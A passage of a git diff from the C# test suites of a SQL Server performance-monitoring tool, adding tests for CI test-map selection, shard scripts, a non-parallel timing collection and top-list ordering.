+            Assert.Contains("!cancelled()", Regex.Match(job, @"\n    if: [^\n]*").Value, StringComparison.Ordinal);
+            var step = job[job.IndexOf("- name: Download the test map selection", StringComparison.Ordinal)..];
+            step = step[..step.IndexOf("\n\n", StringComparison.Ordinal)];
+            Assert.Single(Regex.Matches(job, "- name: Download the test map selection"));
+            Assert.Contains("id: map-selection", step, StringComparison.Ordinal);
+            Assert.Contains("if: github.event_name == 'pull_request' && needs.test-map-select.result == 'success'", step, StringComparison.Ordinal);
+            Assert.Contains("continue-on-error: true", step, StringComparison.Ordinal);
+            Assert.Contains("uses: actions/download-artifact@v6", step, StringComparison.Ordinal);
+            Assert.Contains("name: test-map-selection", step, StringComparison.Ordinal);
+            Assert.DoesNotContain("run-id", step, StringComparison.Ordinal);
+            // Empty unless the download succeeded: every failure leaves the shard running everything.
+            Assert.Contains("TEST_MAP_SELECTION: ${{ steps.map-selection.outcome == 'success' && format('{0}\\test-map-selection\\selection.json', github.workspace) || '' }}", job, StringComparison.Ordinal);
+        }
+
+        // No other job lists the selection job in `needs`.
+        foreach (var name in jobNames.Where(n => n is not "shadow-check" && !s_selectionConsumers.Contains(n)))
+        {
+            var needs = Regex.Match(Job(yml, name), @"\n    needs: (\[[^\]]*\]|[^\n]*)");
+            Assert.DoesNotContain("test-map", needs.Value, StringComparison.Ordinal);
+            Assert.DoesNotContain("shadow", needs.Value, StringComparison.Ordinal);
+        }
+
+        // Only a pull request narrows: the nightly calls the same scripts without a selection.
+        var nightly = File.ReadAllText(Path.Combine(ParitySource.RepoRoot(), ".github", "workflows", "nightly.yml"));
+        Assert.DoesNotContain("SelectionFile", nightly, StringComparison.Ordinal);
+        Assert.DoesNotContain("test-map-selection", nightly, StringComparison.Ordinal);
+        Assert.Contains("-SelectionFile $env:TEST_MAP_SELECTION", Job(yml, "darling-pg"), StringComparison.Ordinal);
+        Assert.Contains("-SelectionFile $env:TEST_MAP_SELECTION", Job(yml, "lite-tests"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ThePin_IsPullRequestOnly_AndCannotFailTheGate()
+    {
+        var gate = Job(BuildYml(), "gate");
+        var step = gate[gate.IndexOf("- name: Pin the test map\n", StringComparison.Ordinal)..];
+        Assert.Contains("id: testmap", step, StringComparison.Ordinal);
+        Assert.Contains("if: github.event_name == 'pull_request' && steps.decide.outputs.run == 'true'", step, StringComparison.Ordinal);
+        Assert.Contains("continue-on-error: true", step[..step.IndexOf("run: |", StringComparison.Ordinal)], StringComparison.Ordinal);
+
+        // continue-on-error absorbs a step failure but not the job's own timeout: a hung gh api call would otherwise run
+        // the gate into its 5-minute limit and red the whole run with no tests. A step timeout turns the hang into a step
+        // failure first (#5459).
+        var header = step[..step.IndexOf("run: |", StringComparison.Ordinal)];
+        var stepTimeout = Regex.Match(header, @"^        timeout-minutes: (\d+)\s*$", RegexOptions.Multiline);
+        Assert.True(stepTimeout.Success, "the pin step needs its own timeout-minutes");
+        var gateTimeout = Regex.Match(gate, @"^    timeout-minutes: (\d+)\s*$", RegexOptions.Multiline);
+        Assert.True(gateTimeout.Success, "the gate job needs a timeout-minutes");
+        Assert.True(int.Parse(stepTimeout.Groups[1].Value) < int.Parse(gateTimeout.Groups[1].Value),
+            "the pin step's timeout must be below the gate job's");
+        Assert.Contains("nightly.yml/runs?status=success", step, StringComparison.Ordinal);
+        Assert.Contains("compare/${sha}...${BASE_SHA}", step, StringComparison.Ordinal);   // the map's commit must be an ancestor of the base
+        Assert.Contains("ahead|identical", step, StringComparison.Ordinal);
+        Assert.Contains("expires_at > env.KEEP_UNTIL", step, StringComparison.Ordinal);
+        Assert.Contains("test_map_run: ${{ steps.testmap.outputs.run_id }}", gate, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheSelectionSteps_TurnEveryFailureIntoAFullNotice_NeverAnErrorOrASkip()
+    {
+        var job = Job(BuildYml(), "test-map-select");
+        foreach (var why in new[] { "no test map is pinned for this run", "the pinned map could not be downloaded",
+                     "the changed files could not be listed", "the selection script failed" })
+        {
+            Assert.Contains("full \"" + why + "\"", job, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("exit 0", job, StringComparison.Ordinal);
+        Assert.Contains("timeout 120 python .github/scripts/ci-select.py map-select", job, StringComparison.Ordinal);
+        // #5459: a pull request into main always runs everything, so the step hands the base branch to map-select.
+        Assert.Contains("BASE_REF: ${{ github.base_ref }}", job, StringComparison.Ordinal);
+        Assert.Contains("--event pull_request --base-ref \"${BASE_REF}\" --base \"${BASE_SHA}\"", job, StringComparison.Ordinal);
+        var check = Job(BuildYml(), "shadow-check");
+        Assert.Contains("exit 0", check, StringComparison.Ordinal);
+        Assert.Contains("name: test-map-shadow-row", check, StringComparison.Ordinal);
+        Assert.Contains("retention-days: 30", check, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheDarlingShards_UploadTheirReports_EvenWhenAClassFailed()
+    {
+        var yml = BuildYml();
+        var step = yml[yml.IndexOf("- name: Upload Darling test timings", StringComparison.Ordinal)..];
+        step = step[..step.IndexOf("\n\n", StringComparison.Ordinal)];
+        Assert.Contains("if: always() && steps.filter.outputs.darling == 'true'", step, StringComparison.Ordinal);
+        Assert.Contains("name: darling-tests-timing-${{ matrix.shard }}", step, StringComparison.Ordinal);
+    }
+
+    private (int ExitCode, string Output) MapKeep(string? selectionJson, string suite)
+    {
+        var path = Path.Combine(_dir, "keep-selection.json");
+        File.Delete(path);
+        if (selectionJson is not null)
+        {
+            File.WriteAllText(path, selectionJson);
+        }
+
+        return Python("ci-select.py", "map-keep", "--selection", path, "--suite", suite);
+    }
+
+    [Fact]
+    public void MapKeep_NamesTheSelectedClassesOfOneSuite_AndAnswersFullWheneverTheSelectionCannotBeTrusted()
+    {
+        var ok = MapKeep("""{"full": false, "reason": "", "selected": {"darling": ["BTests", "ATests"], "lite": ["CTests"]}}""", "darling");
+        Assert.Equal(0, ok.ExitCode);
+        Assert.Equal(new[] { "SELECTED 2", "ATests", "BTests" }, ok.Output.Split('\n', StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries));
+        Assert.Equal("SELECTED 1", MapKeep("""{"full": false, "selected": {"darling": ["BTests"], "lite": ["CTests"]}}""", "lite").Output
+            .Split('\n', StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries)[0]);
+
+        // Anything else is FULL on the first line, with exit code 0, so the shard runs every class it was cut.
+        foreach (var (label, json) in new (string, string?)[]
+                 {
+                     ("a missing file", null),
+                     ("not JSON", "{not json"),
+                     ("a JSON array", "[1, 2]"),
+                     ("a FULL selection", """{"full": true, "reason": "no test map", "selected": {"darling": ["ATests"]}}"""),
+                     ("no full flag", """{"selected": {"darling": ["ATests"]}}"""),
+                     ("a string full flag", """{"full": "false", "selected": {"darling": ["ATests"]}}"""),
+                     ("no selected object", """{"full": false}"""),
+                     ("no list for the suite", """{"full": false, "selected": {"lite": ["CTests"]}}"""),
+                     ("an empty list for the suite", """{"full": false, "selected": {"darling": []}}"""),
+                     ("a name that is not text", """{"full": false, "selected": {"darling": ["ATests", 7]}}"""),
+                     ("an empty name", """{"full": false, "selected": {"darling": ["ATests", ""]}}"""),
+                 })
+        {
+            var answer = MapKeep(json, "darling");
+            Assert.True(answer.ExitCode == 0, label + ": " + answer.Output);
+            Assert.True(answer.Output.StartsWith("FULL ", StringComparison.Ordinal), label + ": " + answer.Output);
+            Assert.DoesNotContain("SELECTED", answer.Output, StringComparison.Ordinal);
+        }
+    }
+
+    private static string? FindPwsh()
+    {
+        foreach (var dir in (Environment.GetEnvironmentVariable("PATH") ?? "").Split(Path.PathSeparator, StringSplitOptions.RemoveEmptyEntries))
+        {
+            foreach (var name in new[] { "pwsh.exe", "pwsh" })
+            {
+                try
+                {
+                    var candidate = Path.Combine(dir, name);
+                    if (File.Exists(candidate))
+                    {
+                        return candidate;
+                    }
+                }
+                catch (ArgumentException)
+                {
+                    // A PATH entry that is not a valid path is skipped.
+                }
+            }
+        }
+
+        return null;
+    }
+
+    /// <summary>Runs one shard script in a scratch folder with a fake `dotnet` that answers the class listing from
+    /// <paramref name="classes"/> and prints each chunk's -class arguments. Returns the classes the chunks ran, and the output.</summary>
+    private (int ExitCode, List<string> Ran, string Output) RunShardScript(string script, string suite, string[] classes, string? selectionJson,
+        string eventName = "pull_request")
+    {
+        var pwsh = FindPwsh();
+        Assert.SkipWhen(pwsh is null, "PowerShell 7 (pwsh) is not on PATH, so the shard scripts cannot be run here.");
+        var work = Path.Combine(_dir, "shard-" + suite);
+        Directory.CreateDirectory(Path.Combine(work, ".github", "scripts"));
+        File.Copy(Script("ci-select.py"), Path.Combine(work, ".github", "scripts", "ci-select.py"), overwrite: true);
+        File.WriteAllLines(Path.Combine(work, "classes.txt"), classes);
+        var selection = Path.Combine(work, "selection.json");
+        File.Delete(selection);
+        if (selectionJson is not null)
+        {
+            File.WriteAllText(selection, selectionJson);
+        }
+
+        var harness = Path.Combine(work, "harness.ps1");
+        File.WriteAllText(harness, """
+            param([string] $Script, [string] $Suite, [string] $Selection, [string] $EventName)
+            $global:ListFile = Join-Path $PWD 'classes.txt'
+            function dotnet {
+                if ($args -contains '-list') {
+                    Write-Output 'a dotnet notice line that is not JSON'
+                    Write-Output (ConvertTo-Json -Compress -InputObject @(Get-Content -Path $global:ListFile | Where-Object { $_ }))
+                    $global:LASTEXITCODE = 0
+                    return
+                }
+                $ran = @(for ($i = 0; $i -lt $args.Count; $i++) { if ($args[$i] -eq '-class') { $args[$i + 1] } })
+                Write-Output ('RAN ' + ($ran -join ','))
+                $global:LASTEXITCODE = 0
+            }
+            $env:SLOW_REPO = ''
+            $env:SLOW_PR = ''
+            $env:SLOW_BASE_REF = ''
+            if ($Suite -eq 'darling') { & $Script -Shard 0 -ShardCount 1 -EventName $EventName -SelectionFile $Selection }
+            else { & $Script -Shard 0 -ShardCount 1 -JobIndex 0 -EventName $EventName -SelectionFile $Selection }
+            exit $LASTEXITCODE
+            """);
+        var psi = new ProcessStartInfo(pwsh!)
+        {
+            WorkingDirectory = work,
+            RedirectStandardOutput = true,
+            RedirectStandardError = true,
+            UseShellExecute = false,
+        };
+        foreach (var a in new[] { "-NoProfile", "-NonInteractive", "-File", harness, "-Script", Script(script), "-Suite", suite,
+                     "-Selection", selectionJson is null ? "" : selection, "-EventName", eventName })
+        {
+            psi.ArgumentList.Add(a);
+        }
+
+        using var p = Process.Start(psi)!;
+        var stdout = p.StandardOutput.ReadToEndAsync();
+        var stderr = p.StandardError.ReadToEndAsync();
+        p.WaitForExit();
+        var output = stdout.Result + stderr.Result;
+        var ran = output.Split('\n').Select(l => l.TrimEnd('\r')).Where(l => l.StartsWith("RAN ", StringComparison.Ordinal))
+            .SelectMany(l => l[4..].Split(',', StringSplitOptions.RemoveEmptyEntries)).ToList();
+        return (p.ExitCode, ran, output);
+    }
+
+    [Theory]
+    [InlineData("run-darling-pg-shard.ps1", "darling", "Darling.Tests")]
+    [InlineData("run-lite-shard.ps1", "lite", "Lite.Tests")]
+    public void TheShardScripts_KeepOnlyTheSelectedClasses_AndRunEverythingWhenThereIsNoUsableSelection(string script, string suite, string ns)
+    {
+        string[] all = [.. Enumerable.Range(1, 40).Select(i => $"{ns}.Class{i:00}Tests")];
+        var selected = new[] { "Class03Tests", "Class17Tests", "Class40Tests", "NotInThisShardTests" };
+        var selection = JsonSerializer.Serialize(new Dictionary<string, object>
+        {
+            ["full"] = false,
+            ["reason"] = "",
+            ["selected"] = new Dictionary<string, string[]> { [suite] = selected, [suite == "darling" ? "lite" : "darling"] = ["OtherSuiteTests"] },
+        });
+
+        var narrowed = RunShardScript(script, suite, all, selection);
+        Assert.True(narrowed.ExitCode == 0, narrowed.Output);
+        Assert.Equal([$"{ns}.Class03Tests", $"{ns}.Class17Tests", $"{ns}.Class40Tests"], narrowed.Ran.OrderBy(c => c, StringComparer.Ordinal));
+        Assert.Contains("3 to run", narrowed.Output, StringComparison.Ordinal);
+
+        // Fail open: a FULL, missing, unreadable or empty selection, and any event but a pull request, run every class.
+        var everything = new (string Label, string? Json, string Event)[]
+        {
+            ("FULL", """{"full": true, "reason": "a keep-full file", "selected": {}}""", "pull_request"),
+            ("no file", null, "pull_request"),
+            ("unreadable", "{broken", "pull_request"),
+            ("an empty list", "{\"full\": false, \"selected\": {\"" + suite + "\": []}}", "pull_request"),
+            ("a push", selection, "push"),
+        };
+        foreach (var (label, json, eventName) in everything)
+        {
+            var run = RunShardScript(script, suite, all, json, eventName);
+            Assert.True(run.ExitCode == 0, label + ": " + run.Output);
+            Assert.True(run.Ran.Count == all.Length, label + ": ran " + run.Ran.Count + " of " + all.Length + "\n" + run.Output);
+        }
+
+        // A shard none of whose classes is selected ends cleanly without reaching a runner with no -class arguments.
+        var none = RunShardScript(script, suite, all, "{\"full\": false, \"selected\": {\"" + suite + "\": [\"SomewhereElseTests\"]}}");
+        Assert.Equal(0, none.ExitCode);
+        Assert.Empty(none.Ran);
+        Assert.Contains("nothing runs", none.Output, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("run-darling-pg-shard.ps1", "darling", "Darling.Tests")]
+    [InlineData("run-lite-shard.ps1", "lite", "Lite.Tests")]
+    public void TheShardScripts_KeyANestedClassByItsOwnName_LikeTestMapAndCiSelect(string script, string suite, string ns)
+    {
+        // The runner lists a nested class as Namespace.Outer+Inner. test-map.py's simple_name and ci-select.py's scan_classes
+        // split on [.+/], so the selection holds `Inner`; a shard script that split on '.' alone keyed it `Outer+Inner` and
+        // dropped it from every narrowed pull request (#5459).
+        string[] all = [$"{ns}.OuterTests", $"{ns}.OuterTests+InnerLive", $"{ns}.OtherTests", $"{ns}.OtherTests+NotSelected"];
+        var selection = JsonSerializer.Serialize(new Dictionary<string, object>
+        {
+            ["full"] = false,
+            ["reason"] = "",
+            ["selected"] = new Dictionary<string, string[]> { [suite] = ["OuterTests", "InnerLive"] },
+        });
+
+        var run = RunShardScript(script, suite, all, selection);
+        Assert.True(run.ExitCode == 0, run.Output);
+        Assert.Equal([$"{ns}.OuterTests", $"{ns}.OuterTests+InnerLive"], run.Ran.OrderBy(c => c, StringComparer.Ordinal));
+    }
+}
diff --git a/Lite.Tests/ThemeColorOverrideTests.cs b/Lite.Tests/ThemeColorOverrideTests.cs
index b978f3f0a6..1a71b9bbb1 100644
--- a/Lite.Tests/ThemeColorOverrideTests.cs
+++ b/Lite.Tests/ThemeColorOverrideTests.cs
@@ -38,6 +38,7 @@ namespace Lite.Tests;
 /// <para>The regeneration tests parse WPF XAML and so run on an STA thread, the same shape as
 /// <c>MainWindowAccessKeyTests</c>. Nothing here shows a window.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class ThemeColorOverrideTests
 {
     private static readonly string[][] ThemeFiles =
@@ -636,7 +637,7 @@ brushes it holds are unfrozen SolidColorBrushes — DispatcherObjects owned by t
            reading .Color from the test runner's thread throws "the calling thread cannot access this
            object" (which is exactly what the first CI run of this test did). Only plain Color structs
            come back out. */
-        var (parsed, brushColors, colorEntries, warnings) = OnStaThread(() =>
+        var (parsed, brushColors, colorEntries, warnings) = StaTestThread.Run(() =>
         {
             var captured = new List<string>();
             var previous = ThemeManager.LogWarning;
@@ -711,7 +712,7 @@ public void RegeneratingWithNoOverrides_ReproducesTheStockPalette()
         var xaml = ReadRepoFile(ThemeFiles[0]);
         var stock = ThemeXamlRewriter.DeclaredColors(xaml);
 
-        var dictionary = OnStaThread(() => ThemeManager.TryParseRegenerated("Dark", xaml, new Dictionary<string, Color>()));
+        var dictionary = StaTestThread.Run(() => ThemeManager.TryParseRegenerated("Dark", xaml, new Dictionary<string, Color>()));
 
         Assert.NotNull(dictionary);
         foreach (var (key, hex) in stock)
@@ -725,7 +726,7 @@ public void RegeneratingWithNoOverrides_ReproducesTheStockPalette()
     public void RegeneratingUnparseableText_ReturnsNullAndWarns_NeverThrows()
     {
         var warnings = new List<string>();
-        var dictionary = OnStaThread(() =>
+        var dictionary = StaTestThread.Run(() =>
         {
             var previous = ThemeManager.LogWarning;
             ThemeManager.LogWarning = warnings.Add;
@@ -993,25 +994,4 @@ private static string RepoRoot()
         return directory?.FullName ?? throw new InvalidOperationException("PerformanceMonitor.sln not found above the test output directory.");
     }
 
-    /// <summary>WPF objects require STA; same shape as <c>MainWindowAccessKeyTests</c>.</summary>
-    private static T OnStaThread<T>(Func<T> body)
-    {
-        T result = default!;
-        Exception? error = null;
-        var thread = new Thread(() =>
-        {
-            try { result = body(); }
-            catch (Exception ex) { error = ex; }
-        });
-        thread.SetApartmentState(ApartmentState.STA);
-        thread.Start();
-        thread.Join();
-
-        if (error is not null)
-        {
-            throw error;
-        }
-
-        return result;
-    }
 }
diff --git a/Lite.Tests/ThemeParityLiteDarlingTests.cs b/Lite.Tests/ThemeParityLiteDarlingTests.cs
index 347626e977..9eea592b2a 100644
--- a/Lite.Tests/ThemeParityLiteDarlingTests.cs
+++ b/Lite.Tests/ThemeParityLiteDarlingTests.cs
@@ -38,6 +38,7 @@ namespace PerformanceMonitorLite.Tests;
 /// Text-parses the XAML (no WPF apartment needed) and locates both projects via
 /// <see cref="CallerFilePathAttribute"/>.
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class ThemeParityLiteDarlingTests
 {
     private static readonly XNamespace X = "http://schemas.microsoft.com/winfx/2006/xaml";
diff --git a/Lite.Tests/ThemeStatusContrastTests.cs b/Lite.Tests/ThemeStatusContrastTests.cs
index 31b8514c51..ef771eb405 100644
--- a/Lite.Tests/ThemeStatusContrastTests.cs
+++ b/Lite.Tests/ThemeStatusContrastTests.cs
@@ -51,6 +51,7 @@ namespace Lite.Tests;
 /// palette slot the operator should tune independently of the fills it sits on.</description></item>
 /// </list>
 /// </summary>
+[Trait("Reads", "Darling")]
 public class ThemeStatusContrastTests
 {
     private static readonly string[] StatusColorKeys = { "SuccessColor", "WarningColor", "ErrorColor", "InfoColor" };
diff --git a/Lite.Tests/TimeHonestyRungTests.cs b/Lite.Tests/TimeHonestyRungTests.cs
index d9b921612b..43e29269ae 100644
--- a/Lite.Tests/TimeHonestyRungTests.cs
+++ b/Lite.Tests/TimeHonestyRungTests.cs
@@ -46,6 +46,7 @@ namespace PerformanceMonitorLite.Tests;
 /// ring-buffer dedup compares in the watermark's frame and the autumn fall-back hour lands
 /// (<see cref="WatermarkFrameReadTests"/>; the dedup itself is pinned in <c>CpuUtilizationCollectorDefinitionTests</c>).</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class TimeHonestyRungTests
 {
     /// <summary>The v63 block: both ALTERs, the log line, and the argument in the words the next reader will
@@ -252,6 +253,7 @@ public void TheCpuTrendSql_CutsPostRungRowsOnTheirInstant_AndPreRungRowsOnTheWal
 /// stamp exceeds every post-rung row's local stamp, so the plain read's answer and the pair read's answer are
 /// different rows in different frames. Scoped per server, because the flag flips per server.
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class WatermarkFrameReadTests : IClassFixture<SharedDuckDbFixture>
 {
     private const string Table = "cpu_utilization_stats";
@@ -358,6 +360,7 @@ private async Task SeedAsync(int serverId, DateTime sampleTimeServerLocal, DateT
 /// properties read carrying the clock pair, NULL zone included, into <c>get_server_properties</c>.
 /// </summary>
 [Collection("server-time-helper")]
+[Trait("Reads", "Darling")]
 public sealed class TimeHonestyRungReadTests : IClassFixture<SharedDuckDbFixture>, IDisposable
 {
     /* The server sits in America/New_York. The snapshot the store holds was collected under EDT (UTC-4); the
@@ -810,7 +813,7 @@ public async Task AV62Database_ClimbsToV63_AndItsOldRowsReadNull()
         Directory.CreateDirectory(dbDir);
         var dbPath = Path.Combine(dbDir, "lite-v62.duckdb");
 
-        var initializer = new DuckDbInitializer(dbPath);
+        using var initializer = new DuckDbInitializer(dbPath);
         await initializer.InitializeAsync();
 
         using (var conn = new DuckDBConnection($"Data Source={dbPath}"))
@@ -857,7 +860,7 @@ the state an existing database is in when the ALTER runs — the ADD COLUMN must
             await ExecAsync(conn, "INSERT INTO schema_version (version) VALUES (62)");
         }
 
-        var upgraded = new DuckDbInitializer(dbPath);
+        using var upgraded = new DuckDbInitializer(dbPath);
         await upgraded.InitializeAsync();
         await upgraded.CreateArchiveViewsAsync();
 
diff --git a/Lite.Tests/TimingCollection.cs b/Lite.Tests/TimingCollection.cs
new file mode 100644
index 0000000000..95d4701097
--- /dev/null
+++ b/Lite.Tests/TimingCollection.cs
@@ -0,0 +1,26 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// The one collection for every Lite test class that times its own work and judges the time against a limit (#5602).
+/// xunit runs a <see cref="CollectionDefinitionAttribute.DisableParallelization"/> collection on its own, after the
+/// parallel classes have finished, so the timed calls get a quiet process instead of sharing CPU with the rest of
+/// the suite. The bars stay where they were: a real regression still fails them, and a busy runner no longer does.
+///
+/// <para>A class that times work and cannot join it (it already sits in a collection of its own for process-wide
+/// state) or does not judge the time (a hang guard, a diagnostic) is named on the allow list of
+/// <c>TimingTestCensusTests</c> with its reason.</para>
+/// </summary>
+[CollectionDefinition("timing", DisableParallelization = true)]
+public sealed class TimingCollection
+{
+}
diff --git a/Lite.Tests/TimingTestCensusTests.cs b/Lite.Tests/TimingTestCensusTests.cs
new file mode 100644
index 0000000000..5f6aa00ac5
--- /dev/null
+++ b/Lite.Tests/TimingTestCensusTests.cs
@@ -0,0 +1,99 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using Darling.Tests;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// A Lite.Tests class that starts a clock runs in the <c>timing</c> collection or is on the allow list with its
+/// reason (#5602). xunit runs test classes in parallel, so a class that times its work and fails past a limit is
+/// judging the whole runner's load. <see cref="TimingCollection"/> is declared with <c>DisableParallelization</c>, so
+/// xunit runs it alone, after the parallel classes. The rule, the scanner and its own tests are the Darling.Tests
+/// ones (<c>TimingTestScanner</c>, linked into this project); this class applies them to Lite.Tests. The allow list
+/// is per file, every entry carries its reason, and an entry whose file no longer starts a clock outside the
+/// collection fails, so the list only shrinks.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class TimingTestCensusTests
+{
+    private const string HangGuard = "hang guard: the bound is a generous ceiling that only stops a stuck test, so load cannot trip it and a regression is not what it measures";
+
+    private const string Diagnostic = "diagnostic: the time is written to the test output and nothing asserts on it";
+
+    private const string OwnCollection = "already in a collection with DisableParallelization (process-wide state), so it runs alone after the parallel classes, which is all the timing collection does";
+
+    /// <summary>Anti-vacuity: the timing collection holds at least this many classes, so a scan that stopped seeing it fails.</summary>
+    private const int TimingMemberFloor = 2;
+
+    private static readonly Dictionary<string, string> s_allowed = new(StringComparer.Ordinal)
+    {
+        ["CollectionResetGateTests.cs"] = OwnCollection + "; the 200 ms bound is a lower bound (the reset waited for the gate), which load only lengthens",
+        ["DuckDbSentinelConnectionTests.cs"] = OwnCollection + " (CollectionResetGate)",
+        ["PostCollectionCheckpointBudgetTests.cs"] = OwnCollection + " (CollectionResetGate)",
+        ["QuerySnapshotPlanOnDemandTests.cs"] = Diagnostic + " (old and new read shapes compared on rows and allocations)",
+        ["QueryWindowTruncationTests.cs"] = Diagnostic + " (written to the console)",
+        ["TestCpuAccountantTests.cs"] = HangGuard + " (the loops spin until the accountant has moved, with 30 s as the stop)",
+    };
+
+    [Fact]
+    public void EveryClassThatStartsAClock_RunsInTheTimingCollection_OrIsAllowedWithAReason()
+    {
+        var rows = TimingTestScanner.Scan(TestsRoot());
+
+        var problems = TimingTestScanner.Problems(rows, s_allowed);
+        Assert.True(
+            problems.Count == 0,
+            "A Lite.Tests class starts a clock outside the `timing` collection (#5602). xunit runs classes in parallel, so a time "
+          + "limit judged there is judged against the runner's load. Add [Collection(\"timing\")] above the class (TimingCollection "
+          + "runs alone, after the parallel classes), assert on the work instead of the clock, or, for a hang guard, a poll loop or a "
+          + "diagnostic, name the file in TimingTestCensusTests.s_allowed with the reason:\n  " + string.Join("\n  ", problems));
+
+        var stale = TimingTestScanner.Stale(rows, s_allowed);
+        Assert.True(
+            stale.Count == 0,
+            "These allow-list entries no longer name a file that starts a clock outside the timing collection; delete them:\n  "
+          + string.Join("\n  ", stale));
+
+        var members = rows.Count(r => r.InTimingCollection);
+        Assert.True(
+            members >= TimingMemberFloor,
+            $"only {members} Lite.Tests classes are in the timing collection; the scan has stopped seeing them");
+    }
+
+    [Fact]
+    public void EveryAllowListEntry_NamesARealFile_AndGivesAReason()
+    {
+        foreach (var (file, reason) in s_allowed)
+        {
+            Assert.True(File.Exists(Path.Combine(TestsRoot(), file)), $"allow-list entry {file} is not a file under Lite.Tests");
+            Assert.False(string.IsNullOrWhiteSpace(reason), $"allow-list entry {file} has no reason");
+        }
+    }
+
+    [Fact]
+    public void TheTimingCollection_IsNotParallel_AndIsTheOnlyOneOfItsName()
+    {
+        var definitions = typeof(TimingTestCensusTests).Assembly.GetTypes()
+            .Select(t => (Type: t, Attribute: t.GetCustomAttribute<CollectionDefinitionAttribute>()))
+            .Where(d => d.Attribute is not null && string.Equals(d.Attribute.Name, TimingTestScanner.CollectionName, StringComparison.Ordinal))
+            .ToList();
+
+        var definition = Assert.Single(definitions);
+        Assert.True(definition.Attribute!.DisableParallelization, "the timing collection must run alone, or it protects nothing");
+    }
+
+    private static string TestsRoot([CallerFilePath] string thisFile = "") => Path.GetDirectoryName(thisFile)!;
+}
diff --git a/Lite.Tests/TopCpuQueriesTextTests.cs b/Lite.Tests/TopCpuQueriesTextTests.cs
index 491f07e142..68573fdae7 100644
--- a/Lite.Tests/TopCpuQueriesTextTests.cs
+++ b/Lite.Tests/TopCpuQueriesTextTests.cs
@@ -89,7 +89,7 @@ private static readonly (string? Database, string? Hash, long CpuUs)[] Printed =
 
     /* One UtcNow read, truncated to the second, so the round-tripped last-seen timestamps compare equal. */
     private static readonly DateTime WindowEnd =
-        DateTime.SpecifyKind(new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerSecond)), DateTimeKind.Unspecified);
+        DateTime.SpecifyKind(new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerSecond * TimeSpan.TicksPerSecond), DateTimeKind.Unspecified);
 
     private static readonly DateTime WindowStart = WindowEnd.AddHours(-4);
 
@@ -163,7 +163,7 @@ public void TheShippedSql_ReadsTheTextAfterTheCut_NotInsideTheWindow()
         Assert.DoesNotContain("query_text", sql[..cut], StringComparison.Ordinal);
 
         /* ...it is read after the cut, over the same filter, with a NULL-safe path for a NULL key. */
-        Assert.Contains("SELECT LEFT(MAX(v.query_text), 500)", sql[cut..], StringComparison.Ordinal);
+        Assert.Contains("SELECT MAX(v.query_text)", sql[cut..], StringComparison.Ordinal);
         Assert.Contains("v.database_name IS NOT DISTINCT FROM t.database_name", sql[cut..], StringComparison.Ordinal);
         Assert.Contains("v.query_hash IS NOT DISTINCT FROM t.query_hash", sql[cut..], StringComparison.Ordinal);
     }
diff --git a/Lite.Tests/TopListTotalOrderPinTests.cs b/Lite.Tests/TopListTotalOrderPinTests.cs
new file mode 100644
index 0000000000..e8d8b0b4b0
--- /dev/null
+++ b/Lite.Tests/TopListTotalOrderPinTests.cs
@@ -0,0 +1,79 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// #5299 round 3 (O16): the Lite twin of Darling's <c>TheQueryStoreAndViewerTopStatements_RankOnATotalOrder</c>. Both top lists
+/// rank on the metric, then the WHOLE group key, at all three places the order is spelled: the ranked CTE, the page_ord numbering and
+/// the page's own ORDER BY. A tie at the candidate cut then picks the same keys in every refill round, so one read cannot return a
+/// different page from the next. The statements are inline in the reader methods, so the pin reads the method text from the source.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class TopListTotalOrderPinTests
+{
+    private const string QueryStatsKey = "database_name, query_hash, host_object_name";
+    private const string QueryStoreKey = "database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role";
+
+    [Fact]
+    public void TheQueryStatsTopList_RanksOnATotalOrder()
+    {
+        /* #5381: the statement sits in TopQueriesByCpuSql (a test runs it beside the one it replaced); GetTopQueriesByCpuAsync only runs it. */
+        var sql = MethodText("Lite/Services/LocalDataService.QueryStats.cs", "TopQueriesByCpuSql");
+
+        Assert.Contains("ORDER BY SUM(delta_worker_time) DESC, " + QueryStatsKey + "\n", sql, StringComparison.Ordinal);
+        Assert.Contains("ROW_NUMBER() OVER (ORDER BY r.total_cpu_us DESC, r.database_name, r.query_hash, r.host_object_name) AS page_ord", sql, StringComparison.Ordinal);
+        Assert.Contains("\nORDER BY r.total_cpu_us DESC, r.database_name, r.query_hash, r.host_object_name\nLIMIT $4", sql, StringComparison.Ordinal);
+        AssertNoRankingOrderEndsOnTheMetric(sql, @"ORDER BY (?:SUM\(delta_worker_time\)|r\.total_cpu_us) DESC[^\n]*");
+
+        /* The module pick reaches the page (the procedure a statement belongs to): a tie on the time takes the row collected last. */
